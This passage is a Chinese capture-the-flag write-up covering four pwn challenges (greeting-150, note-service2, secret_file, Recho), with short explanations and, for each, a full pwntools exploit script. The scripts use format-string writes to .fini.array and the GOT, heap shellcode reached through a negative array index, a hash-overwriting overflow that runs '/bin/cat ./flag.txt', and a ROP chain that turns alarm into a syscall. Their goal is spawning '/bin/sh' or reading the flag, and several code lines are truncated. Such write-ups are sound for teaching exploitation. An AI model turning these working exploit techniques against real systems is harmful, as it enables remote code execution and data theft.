value = 0x2223322
payload = fmtstr_payload(offest,{target_addr:value})
'''
if IS_LOCAL:
gdb.attach(io,"break *0x8048824\nc")
pause()
'''
sl(payload)
sconnect()

greeting-150

这个题目用到一个知识点.fini.array中的函数在main结束时被调用,所以需要修改其中的函数地址为_start,这样就可以完成攻击。攻击用到的system@plt和_start地址:

_start:            0x080484F0
system@plt:        0x08048490

由于.fini.array中原有的数据和_start高两位都一样,只需要修改后两位,就可以那么按照从小到大写入原则,按照如下顺序写入数据:

0x80F0    3
0x0804    1
0x8490    2

exp如下

import sys
from pwn import *
from LibcSearcher import LibcSearcher
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
context.log_level = "DEBUG"
pwn_file = './greeting-150'
elf = ELF(pwn_file)
if len(sys.argv) < 2:
IS_LOCAL = 1
io = process(pwn_file)
else:
IS_LOCAL = 0
sys_argv = sys.argv[1].split(':')
io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
fini_array_addr = 0x08049934
strlen_got_lo = elf.got['strlen']
strlen_got_hi = elf.got['strlen']+2
payload = 'aa'+p32(strlen_got_hi)+p32(strlen_got_lo)+p32(fini_array_addr)+"%2020c%12$hn"+"%31884c%13$hn"+"%96c%14$hn"
if IS_LOCAL:
gdb.attach(io,"break *0x804864F\nc")
pause()
rv()
sl(payload)
rv()
sl("/bin/sh")
sconnect()

补充链接:详解64位静态编译程序的fini_array劫持及ROP攻击 https://www.freebuf.com/articles/system/226003.html

note-service2

嗯这题命中了我知识的盲点:数组索引越界。先看看保护措施:

dc@ubuntu:~/playground$ file ./note-service2
./note-service2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6c3a706907441fd73514dbca2d692e7a7c9139aa, stripped
dc@ubuntu:~/playground$ pwn checksec note-service2
[*] '/home/dc/playground/note-service2'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

RWX有点显眼,第一次遇到这个记号。在程序中添加一个note之后用vmmap看下:

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /home/dc/playground/note-service2
0x0000555555755000 0x0000555555756000 0x0000000000001000 r-x /home/dc/playground/note-service2
0x0000555555756000 0x0000555555757000 0x0000000000002000 rwx /home/dc/playground/note-service2
0x0000555555757000 0x0000555555778000 0x0000000000000000 rwx [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rwx /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rwx
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd8000 0x00007ffff7fdb000 0x0000000000000000 rwx
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rwx /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

发现了heap可执行,其实这时候已经猜到可能是将shellcode放入堆中,但没想到如何劫持rip到堆上。这时候看了大佬的博客:https://blog.csdn.net/seaaseesa/article/details/103003167豁然开朗,原来是利用数组索引不受控制,把got表劫持了hh:

import sys
from pwn import *
from LibcSearcher import LibcSearcher
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
context.log_level = "DEBUG"
pwn_file = './note-service2'
elf = ELF(pwn_file)
if len(sys.argv) < 2:
IS_LOCAL = 1
io = process(pwn_file)
else:
IS_LOCAL = 0
sys_argv = sys.argv[1].split(':')
io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
context(os='linux',arch='amd64'
def create(index,size,content): 
sla('your choice>>','1'
sla('index:',str(index)) 
sla('size:',str(size)) 
sa('content:',content) 
def delete(index): 
sla('your choice>>','4'
sla('index:',str(index)) 
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19'
code1= (asm('mov eax,0x3B') + '\xeb\x19'
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19'
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19'
code4 = (asm('syscall').ljust(7,'\x90')) 
create(0,8,'a'*7
create(1,8,code1) 
create(2,8,code2) 
create(3,8,code3) 
create(4,8,code4) 
delete(0)
create(-8,8,code0)
sla('your choice>>','/bin/sh')
sconnect()

secret_file

简单题目,不要跟着题目思路走,需要利用溢出替换hash值:

import sys
from pwn import *
from LibcSearcher import LibcSearcher
import hashlib
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
context.log_level = "DEBUG"
pwn_file = './secret_file'
elf = ELF(pwn_file)
if len(sys.argv) < 2:
IS_LOCAL = 1
io = process(pwn_file)
else:
IS_LOCAL = 0
sys_argv = sys.argv[1].split(':')
io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
if IS_LOCAL:
gdb.attach(io,"break strcpy\nbreak strcmp\nc")
pause()
s = hashlib.sha256()    # Get the hash algorithm.
s.update("1"*256)    # Hash the data.
fake_hash = s.hexdigest()       # Get he hash value.
payload = '1'*256+'/bin/cat ./flag.txt'.ljust(0x1b,' ')+fake_hash
sl(payload)
rv()
rv()

Recho

题目代码比较简单:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char input[16]; // [rsp+0h] [rbp-40h] BYREF
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
int v6; // [rsp+38h] [rbp-8h]
int len; // [rsp+3Ch] [rbp-4h]
Init();
write(1, "Welcome to Recho server!\n", 0x19uLL);
while ( read(0, input, 0x10uLL) > 0 )
{
len = atoi(input);
if ( len <= 15 )
len = 16;
v6 = read(0, buf, len);
buf[v6] = 0;
printf("%s", buf);
}
return 0;
}

可以发现明显的栈溢出的漏洞,但是第二次循环时必须让read返回0才能顺利return,可以用这样的语句关闭流:

io.shutdown('write')

但之后都不能写入流了,除非重开程序。那么这就要求我们一次输入完成ROP利用链条。在程序中搜到的一些信息:

gef➤  disass read
Dump of assembler code for function read:
0x00007ffff7b04350 <+0>:    cmp    DWORD PTR [rip+0x2d23e9],0x0        # 0x7ffff7dd6740 <__libc_multiple_threads>
0x00007ffff7b04357 <+7>:    jne    0x7ffff7b04369 <read+25>
0x00007ffff7b04359 <+0>:    mov    eax,0x0
0x00007ffff7b0435e <+5>:    syscall
.data:0000000000601058 flag            db 'flag',0
dc@ubuntu:~/playground$ ROPgadget --binary ./Recho --only "pop|ret"  | grep 'rax'
0x00000000004006fc : pop rax ; ret
dc@ubuntu:~/playground$ ROPgadget --binary ./Recho --only "pop|ret"  | grep 'rdi'
0x00000000004008a3 : pop rdi ; ret
dc@ubuntu:~/playground$ ROPgadget --binary ./Recho
Gadgets information
//....
0x000000000040070d : add byte ptr [rdi], al ; ret                                               《-----------------use it attack got['alarm']

这里参考了大佬的wp:https://blog.csdn.net/seaaseesa/article/details/102992887
利用思路总结如下:

  1. 利用Gadget配合修改alarm函数的got表项,令其指向alarm+5,也就是syscall。
  2. 有了syscall,传入对应的eax,执行open操作打开flag文件。
  3. 接下来用read,write直接将flag数据输出。

优化过的exp如下:

import sys
from pwn import *
from LibcSearcher import LibcSearcher
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
context.log_level = "DEBUG"
pwn_file = './Recho'
elf = ELF(pwn_file)
if len(sys.argv) < 2:
IS_LOCAL = 1
io = process(pwn_file)
else:
IS_LOCAL = 0
sys_argv = sys.argv[1].split(':')
io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
flag_str = 0x0000000000601058
pop_rax_ret = 0x00000000004006fc
pop_rdi_ret = 0x00000000004008a3
save_flag_addr = 0x0000000000601060
add_ptr_rdi_al = 0x000000000040070d
sysenter_addr = alarm_addr = elf.got['alarm']
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload  = p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0x0)     # rbx must be 0x0
payload += p64(0x1)     # rbp must be 0x1
payload += p64(jmp2)    # r12 jump to
payload += p64(arg3)    # r13 -> rdx    arg3
payload += p64(arg2)    # r14 -> rsi    arg2
payload += p64(arg1)    # r15 -> edx    arg1
payload += p64(part2)   # part2 entry will call [r12+rbx*0x8]
payload += 'A' * 56     # junk 6*8+8=56
return payload
p1 = 0x40089A
p2 = 0x400880
payload = 'A'*0x38+p64(pop_rax_ret)+p64(5)+p64(pop_rdi_ret)+p64(alarm_addr)+p64(add_ptr_rdi_al) \
+ p64(pop_rax_ret)+p64(2)+com_gadget(p1,p2,sysenter_addr,flag_str,0) \
+ com_gadget(p1,p2,elf.got['read'],3,save_flag_addr,50) \
+ com_gadget(p1,p2,elf.got['write'],1,save_flag_addr,50)
if IS_LOCAL:
gdb.attach(io,"break *0x400889\nc")
pause()
rv()
se(str(len(payload)))
se(payload)
rv()
io.shutdown('write')
print(rv())

[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年秋季班火热招生!!

最后于 2021-6-12 09:37 被顾言庭编辑 ,原因:
收藏 ・12

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK